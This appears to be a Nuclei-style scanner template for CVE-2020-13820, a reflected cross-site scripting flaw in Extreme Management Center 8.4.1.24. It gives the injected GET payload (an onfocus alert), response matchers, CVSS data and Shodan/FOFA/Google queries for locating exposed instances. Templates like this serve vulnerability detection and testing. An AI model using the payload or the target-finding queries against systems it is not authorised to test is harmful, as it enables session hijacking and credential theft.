Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2020-13820
info:
name: Extreme Management Center 8.4.1.24 - Cross-Site Scripting
author: tess
severity: medium
description: |
Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patch or upgrade to a non-vulnerable version of Extreme Management Center.
reference:
- https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219
- https://gtacknowledge.extremenetworks.com/articles/Solution/000051136
- https://gtacknowledge.extremenetworks.com
- https://nvd.nist.gov/vuln/detail/CVE-2020-13820
- https://documentation.extremenetworks.com/release_notes/netsight/XMC_8.5.0_Release_Notes.pdf
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-13820
cwe-id: CWE-79
epss-score: 0.26304
epss-percentile: 0.96135
cpe: cpe:2.3:a:extremenetworks:extreme_management_center:8.4.1.24:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: extremenetworks
product: extreme_management_center
shodan-query:
- title:"Extreme Management Center"
- http.title:"extreme management center"
fofa-query: title="extreme management center"
google-query: intitle:"extreme management center"
tags: cve2020,cve,xss,extremenetworks
http:
- method: GET
path:
- "{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "autofocus onfocus='alert(document.domain)"
- "Extreme Management Center"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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